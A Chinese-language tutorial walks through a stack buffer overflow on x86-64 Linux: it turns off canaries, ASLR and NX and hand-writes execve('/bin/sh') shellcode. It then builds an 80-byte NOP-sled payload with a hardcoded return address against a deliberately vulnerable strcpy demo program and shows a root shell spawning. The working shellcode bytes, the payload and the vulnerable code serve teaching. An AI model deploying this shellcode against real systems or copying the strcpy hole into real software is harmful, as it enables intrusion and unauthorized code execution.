天天看點

棧溢出攻擊和shellcode

README

本文預設讀者熟悉C語言程式設計,熟悉常見的C标準庫函數的行為(如strcpy),熟悉x86彙編文法和常見彙編指令的行為,了解linux程序記憶體布局,了解函數調用過程和棧幀的概念,了解linux x86-64調用規約,同時對棧溢出攻擊有一個基本的認知。

文章會通過一個棧溢出攻擊的DEMO,來展示一個典型的shellcode是如何打造,如何工作的。

文章将抛開宏觀層面的解釋,盡量細緻地闡述shellcode的建構過程和異常問題分析等諸多細節,幫助讀者把棧溢出攻擊和shellcode了解的更清晰。

其實,棧溢出攻擊早已經被丢進了曆史的垃圾桶。

人們針對棧溢出攻擊有3個防範手段:

1.金絲雀(canary)

2.位址随機化(ASLR)

3.棧不可執行(NX)

為了實作這個DEMO,需要關閉這3個防範手段。

開始正題之前,先簡單溫習一些基礎知識:調用規約,棧幀和函數調用過程。

先看一下linux x86-64調用規約

棧溢出攻擊和shellcode

再看一下棧幀的樣子:

棧溢出攻擊和shellcode

CPU基于棧實作函數調用,程式每調用1個函數,都會建立一個棧幀。

x86 CPU有2個專用的棧寄存器(不考慮FPO)rbp 和 rsp。

rbp寄存器總是指向棧底,rsp寄存器總是指向棧頂

x86-64的棧是滿減棧,入棧時,棧指針rsp總是向下(向低位址方向)移動,且總是指向一個有效元素。

rsp和rbp之間的棧空間存放着目前函數的局部變量,rbp向上(向高位址方向)分别存放着父函數棧幀的rbp(通常叫做old-rbp),傳回位址(return-addr)以及父函數傳遞給子函數的參數。

x86 CPU的函數調用由call指令實作,call指令做2件事:

1.目前rip寄存器的值壓入堆棧,這個值通常叫做傳回位址(上圖黃色塊,returen-addr)

2.向rip寄存器寫入子函數的入口位址,該位址依賴于call指令的操作數。

跳轉到子函數後,子函數通常都會執行下面2條指令來建立自己的棧幀(不考慮FPO),這2條指令通常叫做函數序言。

  1. push %rbp (儲存父函數的rbp,上圖old-rbp塊)
  2. mov %rsp, %rbp (讓rbp與rsp重合,1個新的棧幀建立成功)

接下來會為局部變量配置設定棧空間,然後執行子函數體。

  1. sub $0x50,%rsp (配置設定80Byte的棧空間用于存放函數的局部變量)

子函數傳回前,會做反向動作:

6.通過leave指令恢複調用者函數棧幀。(leave指令執行函數序言的反操作,彈出棧頂元素到rbp)

7.最後通過ret指令傳回到調用者函數,ret指令會彈出棧頂元素到rip寄存器

ret指令是棧溢出攻擊的核心指令,因為該指令把棧上的資料寫入rip。倘若我們能通過某種方法篡改棧上的這段資料,讓rip指向我們的攻擊代碼,便實作了攻擊。

開始正題:

I. 構造shellcode

狹義地講,shellcode就是一段可以運作起一個shell的代碼。

廣義地講,shellcode就是一段被精心構造的攻擊代碼,用來達成攻擊者的目的。

下面就開始手寫一段shellcode第1版 (啥?難不成還有第2版?确實有)

.section .text
.global _start
_start:
	jmp str
entry_point: 
	pop %rcx
	
	xor %edx, %edx
	xor %rsi, %rsi
	mov %rcx, %rdi
	add $59, %rax
	syscall
	
str:
	call entry_point
	.ascii "/bin/sh"
           

簡單解釋一下這段代碼:

第1行聲明從這裡開始一個段,名字叫.text

第2行聲明_start是全局符号

第3行聲明符号_start

第4行跳轉到符号str處執行

第5行聲明局部符号entry_point

第6行取出棧頂元素寫入rcx寄存器

第7行空行

第8行rdx寄存器清0 (x86-64調用規約,第3個參數通過rdx傳遞)

第9行rsi寄存器清0 (第2個參數通過rsi傳遞)

第10行rcx寄存器的值寫入rdi寄存器 (第1個參數通過rdi傳遞)

第11行向rax寄存器寫入十進制數字59 (系統調用号通過rax傳遞)

第12行發起系統調用請求,陷入核心

第13行空行

第14行聲明局部符号str

第15行跳轉到符号entry_point處執行

第16行聲明一段使用ASCII字元的文本字元串

前2行的.text和_start這2個符号不能亂寫,ld内部內建的連結腳本預設引用這些符号,随意修改會導緻連結出問題。

第7和第13行這2個空行是我故意留下來的分隔符:

2個空行中間的代碼,是用來給59号系統調用execve傳參并發起系統調用請求的,這是shellcode的核心代碼。

execve的定義:

int execve(const char *filename, char *const argv[], char *const envp[]);

空行上面和空行下面的2段代碼,是shellcode的基本架構,其作用是實作動态擷取字元串/bin/sh的位址。

如何做到的?回顧前面溫習過的關于call指令的知識,因為字元串/bin/sh被放在了call指令的下面,執行call指令時,call指令的下1條指令的位址,也就是/bin/sh字元串的位址會被壓棧,call指令執行結束後,流程跳到entry_point,此時通過pop指令,即可取到字元串/bin/sh的位址。這樣可以免去對/bin/sh位址寫死,寫死越少,shellcode越健壯。

OK,代碼介紹完了。代碼儲存成shellcode.asm, 彙編并連結該程式

as -o shellcode.o shellcode.asm
ld -o shellcode shellcode.o
           

驗證shellcode能否正常工作,運作一下shellcode程序,果然打開了一個shell,運作幾條指令,輸出正常。

[email protected]:/root/shellcode# ./shellcode 
# pwd
/root/shellcode
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
[email protected]:/root/shellcode#
           

接下來需要把shellcode程序的代碼段dump出來,使用objdump工具檢視代碼段資訊

[email protected]:/root/shellcode# objdump -h shellcode
shellcode:     file format elf64-x86-64
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .text         0000001d  0000000000400078  0000000000400078  00000078  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
           

得到資訊:偏移0x78 = 120 位元組,長度為 0x1d = 29位元組。

用dd指令導出這段資料,随便起個名字叫shitcode:

[email protected]:/root/shellcode# dd if=shellcode of=shitcode bs=1 count=29 skip=120
29+0 records in
29+0 records out
29 bytes copied, 0.00028993 s, 100 kB/s
           

再使用hexdump指令檢視一下shitcode

[email protected]:/root/shellcode# hexdump -Cv shitcode 
00000000  eb 0f 59 31 d2 48 31 f6  48 89 cf 48 83 c0 3b 0f  |..Y1.H1.H..H..;.|
00000010  05 e8 ec ff ff ff 2f 62  69 6e 2f 73 68           |....../bin/sh|
0000001d
           

這29位元組資料,就是shellcode的核心,運作這段代碼,他就會請求kernel為我們啟動一個shell

注意看hexdump的輸出:這段shellcode中是不包含0字元的,這個條件是必須要滿足的,因為幾乎所有的輸入函數,都是以0字元作為結束标志。shellcode中包含0字元會導緻輸入函數提前傳回,注入失敗。

如果你寫的shellcode編譯後發現有0字元,需要想辦法替換成不含0字元的同義指令。

比如 mov $0, %rax 可以改寫成 xor %rax, %rax

II. 尋找溢出點,計算傳回位址

victim.c

#include <stdio.h>
#include <string.h>
#define BUFSIZE 64
int main(int argc, char *argv[])
{
	char buf[BUFSIZE];
	printf("Buf: %p\n", &buf);
	strcpy(buf, argv[1]);
	return 0;
}
           

這段代碼使用了strcpy函數,把外界傳入的參數寫入棧上的緩沖區。

strcpy函數的行為很簡單:一個字元一個字元地讀取源字元串,寫入到目的緩沖區,直到有一天在源字元串中讀到一個0字元,才停止。

這裡就是一個典型的溢出點:

讓strcpy函數讀入shellcode,當局部數組buf溢出時,就會覆寫掉傳回位址,再想辦法把傳回位址覆寫成shellcode的入口位址,當函數執行ret指令時,就跳到了shellcode入口,如此即可實作攻擊。

從victim.c源代碼中我們可以看到函數中隻有1個局部變量buf,大小是64Byte,根據前面的棧幀結構的圖檔,很容易推測出,傳回位址(return-addr)距離buf的起始位址是 64+8(old-rbp) = 72Byte,而傳回位址(return-addr)本身的大小是8Byte,若想覆寫掉傳回位址,shellcode的長度至少是80Byte.

那麼問題來了,前面我們制作的shellcode貌似隻有29Byte怎麼辦,這個好辦,使用花指令填充就行了,最常用的花指令就是nop空操作指令(no opration)該指令僅占用1Byte長度,CPU指令nop指令時做空操作(空操作就是啥也不做),執行nop指令不會影響任何寄存器的值(當然,rip會+1。這不是屁話嗎,多餘說)

好了,大緻分析完了,再重複1遍:根據victim.c的代碼,我們的shellcode将會通過指令行參數的形式,被危險函數strcpy讀入到局部變量buf中,shellcode的長度至少是80Byte才可以覆寫到傳回位址,覆寫到傳回位址的值應該是shellcode的入口位址,也就是buf的起始位址,于是最重要的問題終于來了:我們如何知道buf的起始位址呢?

答案是,沒辦法知道,是以文章結束,您洗洗睡吧。

但是,我們隻是在做1個棧溢出攻擊的DEMO嘛,自帶上帝視角,所有的不爽我們都可以用手解決,buf位址是多少,我幹脆用printf列印出來。

你猜buf的位址是固定的嗎?很久以前是,現在不是了,這就是前面提到的保護措施2:位址随機化。

這個保護措施是linux核心預設開啟的,每次應用程式在裝載的過程中,核心都會把堆,棧,映射區等起始位址随機化。但是shellcode是死的,如果buf位址每次都不一樣,這就沒得玩了。

怎麼辦?上帝之手,來。

關閉位址随機化需要root執行這條指令:

echo 0 > /proc/sys/kernel/randomize_va_space

關閉位址随機化後,每次運作程式victim,buf的位址是不變的。

前面還提到了另外的保護措施1,3,上帝之手,再來。

在編譯時指定2個額外的參數:

gcc -o victim victim.c -fno-stack-protector -z execstack

其中

-fno-stack-protector 關閉1,金絲雀(金絲雀是編譯器放在棧底的一個随機數,編譯器會插入代碼,在函數傳回時判斷随機數是否被篡改,一旦檢測到被篡改就會讓程序自殺)

-z execstack 關閉3,棧不可執行 (shellcode是寫入到棧上的,必須讓棧有可執行權限,否則CPU取指會觸發MMU異常,同樣會導緻核心終止目前程式)

oh,yes, 被上帝之手撫摸過以後,現在基本沒有阻礙了,這時我們才有機會做棧溢出攻擊。

shellcode裡需要寫死的傳回位址填寫多少呢?因為沒有了位址随機化,每次buf的位址是固定的,給buf傳遞80個位元組,看看buf的位址是多少。

[email protected]:/root/shellcode# ./victim 11111111111111111111111111111111111111111111111111111111111111111111111111111111
Buf: 0x7fffffffe410
Segmentation fault (core dumped)
           

這裡有個小細節可能會令你很詫異:傳遞參數的長度不同,buf的位址居然不同,怎麼回事,說好了沒有位址随機化的?!

其實位址随機化确實已經關閉了,但因為我們是通過main函數的argv傳參,參數本身也會占用棧空間,導緻main函數局部變量的位址變化,參數長度越長,buf的位址會越小。

翻到前面看一下棧幀的圖檔,指令行參數和環境變量,是位于main函數棧幀上面的。

OK,至此,拿到了buf的運作時的位址:0x7fffffffe410,這個位址就是要寫死到shellcode中的傳回位址。

此處仍然有一個小問題需要注意:通常棧空間的起始位址都是對齊的,最低位元組很可能是0。 假設我們運作後發現buf的位址是0x7fffffffe400,此時傳回位址包含0字元,同樣會使輸入函數strcpy提前傳回,shellcode無法完全注入。這種情況下,我們需要稍微改一改這個傳回位址,比如填寫成0x7fffffffe411。雖然偏了17個位元組,但好在shellcode前面填充很多的nop指令,隻要保證傳回位址落到nop指令區間上,依然可以一步一步走進shellcode的入口。

III. 建構完備的shellcode

根據前面的分析,現在我們需要建構一個完備的shellcode了,他最終的樣子是這樣的:

前起始的位置有43個nop指令,每個nop指令1個Byte,共43Byte,緊随其後的是29Byte的shellcode核心,最後面的是8Byte的傳回位址,43+29+8 = 80Byte

棧溢出攻擊和shellcode

如何建構這樣一段資料呢?我特地寫了一個小工具:

int main(int argc, char *argv[])
{
	void *p;
	char buf[100];
	switch(argv[1][0]){
	case '1':
		// padding nop
		memset(buf, '\x90', 100);
		/**
		 * how many 'nop' you want to pad
		 * */
		buf[43] = 0;
		printf("%s", buf);
		break;
	case '2':
		//padding return-addr
		/**
		 * Note that return-addr MUST NOT contains 0 char.
		 * */
		p = (void *)0x7fffffffe411;
		memset(buf, 0, 16);
		memcpy(buf, &p, 8);
		printf("%s", buf);
		break;
	}
	return 0;
}
           

函數實作2個功能:

  1. 填充43個nop (nop指令的機器碼是0x90)
  2. 填充傳回位址0x7fffffffe411

編譯這個程式,并建構完備的shellcode:

[email protected]:/root/shellcode# gcc -o pad padding.c
[email protected]:/root/shellcode# ./pad 1 > shellcode
[email protected]:/root/shellcode# cat shitcode >> shellcode
[email protected]:/root/shellcode# ./pad 2 >> shellcode
[email protected]:/root/shellcode# hexdump -Cv shellcode
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000010  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000020  90 90 90 90 90 90 90 90  90 90 90 eb 0f 59 31 d2  |.............Y1.|
00000030  48 31 f6 48 89 cf 48 83  c0 3b 0f 05 e8 ec ff ff  |H1.H..H..;......|
00000040  ff 2f 62 69 6e 2f 73 68  11 e4 ff ff ff 7f        |./bin/sh......|
0000004e
[email protected]:/root/shellcode#
           

傳回位址0x00007fffffffe411是用%s寫入的,高位的0字元沒有寫入檔案,強迫症不能忍,别攔我,我要再補2個0字元。

[email protected]:/root/shellcode# dd if=/dev/zero of=zero bs=1 count=2
2+0 records in
2+0 records out
2 bytes copied, 0.000310199 s, 6.4 kB/s
[email protected]:/root/shellcode# cat zero >> shellcode
[email protected]:/root/shellcode# hexdump -Cv shellcode
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000010  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000020  90 90 90 90 90 90 90 90  90 90 90 eb 0f 59 31 d2  |.............Y1.|
00000030  48 31 f6 48 89 cf 48 83  c0 3b 0f 05 e8 ec ff ff  |H1.H..H..;......|
00000040  ff 2f 62 69 6e 2f 73 68  11 e4 ff ff ff 7f 00 00  |./bin/sh........|
00000050
[email protected]:/root/shellcode# 
           

OK,整整齊齊80個位元組,看着倍兒舒服,内容也和前面預想的一模一樣,完備的shellcode誕生了。趕快試用一下吧!

[email protected]:/root/shellcode# ./victim `cat shellcode`
           

運作起來,并沒有啟動一個shell,而是停在那裡不傳回,同時系統會變得非常非常卡頓。

很明顯,翻車了。shellcode不但沒有工作,還引發了一場災難。

IV. 分析意外,構造完備的shellcode第2版

這次意外源于另一個細節:

棧溢出攻擊和shellcode

傳遞給execve系統調用的第一個參數,是可執行程式/bin/sh的路徑,這個路徑一定要以0字元結尾,否則系統調用會因路徑錯誤而執行失敗。

再看shellcode第1版源代碼:

.section .text
.global _start
_start:
	jmp str
entry_point: 
	pop %rcx
	
	xor %edx, %edx
	xor %rsi, %rsi
	mov %rcx, %rdi
	add $59, %rax
	syscall
	
str:
	call entry_point
	.ascii "/bin/sh"
           

一旦execve執行失敗,syscall指令從核心傳回,會繼續執行call entry_point跳到上面,沿着pop %rcx指令重新執行系統調用execve。

如此瘋狂地,風馳電掣地從使用者态和核心态進進出出,成噸的上下文切換成本,導緻了CPU飙升,系統卡頓。

如何解決呢?很簡單,在shellcode中添加幾行代碼,執行syscall指令之前,先給/bin/sh字元串結束位置寫0。

shellcode第2版代碼如下:

.section .text
.global _start
_start:
	jmp str
entry_point: 
	pop %rcx

	mov %rcx, %rbx
	add $7, %rbx
	xor %rax, %rax
	mov %rax, (%rbx)
	
	xor %edx, %edx
	xor %rsi, %rsi
	mov %rcx, %rdi
	add $59, %rax
	syscall
str:
	call entry_point
	.ascii "/bin/sh"
           

添加了4行代碼,通過rbx計算出字元串/bin/sh的結束位址,然後rax清0,把rax的值寫入到rbx指向的字元串結束位址上。

[email protected]:/root/shellcode# as -o shellcode.o shellcode2.asm 
[email protected]:/root/shellcode# ld -o shellcode2 shellcode.o
[email protected]:/root/shellcode# objdump -h shellcode2 
shellcode2:     file format elf64-x86-64
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .text         0000002a  0000000000400078  0000000000400078  00000078  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
[email protected]:/root/shellcode# dd if=shellcode2 of=shitcode2 bs=1 count=42 skip=120
42+0 records in
42+0 records out
42 bytes copied, 0.000172601 s, 243 kB/s
[email protected]:/root/shellcode#
           

彙編,連結,查詢,提取,一氣呵成。

躺在硬碟上的shitcode2檔案,就是第2版shellcode的核心代碼,大小是42個位元組,比之前的29個位元組稍大了點。還好,并沒有超過72位元組,依然可用。

看一眼他的樣子吧:

[email protected]:/root/shellcode# hexdump -Cv shitcode2 
00000000  eb 1c 59 48 89 cb 48 83  c3 07 48 31 c0 48 89 03  |..YH..H...H1.H..|
00000010  31 d2 48 31 f6 48 89 cf  48 83 c0 3b 0f 05 e8 df  |1.H1.H..H..;....|
00000020  ff ff ff 2f 62 69 6e 2f  73 68                    |.../bin/sh|
0000002a
[email protected]:/root/shellcode#
           

很完美的shellcode,不包含字元0,依然可以被strcpy全部讀入。

如果此時你手賤運作了一下剛剛生成的shellcode2可執行程式,會發現他并沒有像第1版一樣啟動一個shell,而是會報出段錯誤:

熟悉linux記憶體管理的同學應該很清楚為什麼:

沒錯,後來添加的指令 mov %rax, (%rbx) 在嘗試寫代碼段,然而代碼段是沒有寫權限的,直接執行該程式時會觸發MMU異常,核心會發送SIGSEGV信号殺死程序。

别怕,要知道這段代碼最終會被讀入棧空間的,在棧上事情就不一樣了,棧本身是可寫的,前面被上帝之手撫摸過之後,棧也可執行了,shellcode會悄悄地地給/bin/sh結束位址填0,保證execve系統調用執行成功

廢話少叙,開始建構完備的shellcode第2版:

傳回位址不需要計算,依然是0x7fffffffe411

nop指令填充數需要重新計算:72-42=30,這次隻需要填充30個nop。

修改一下之前的padding小工具,設定成寫入30個nop。

開始建構:

[email protected]:/root/shellcode# gcc -o pad padding.c
[email protected]:/root/shellcode# ./pad 1 > shellcode2
[email protected]:/root/shellcode# cat shitcode2 >> shellcode2
[email protected]:/root/shellcode# ./pad 2 >> shellcode2
[email protected]:/root/shellcode# cat zero >> shellcode2
           

試用一下

[email protected]:/root/shellcode# ./victim `cat shellcode2`
Buf: 0x7fffffffe410
# pwd
/root/shellcode
#
           

成功!

大總結

我寫完了,謝謝觀看

繼續閱讀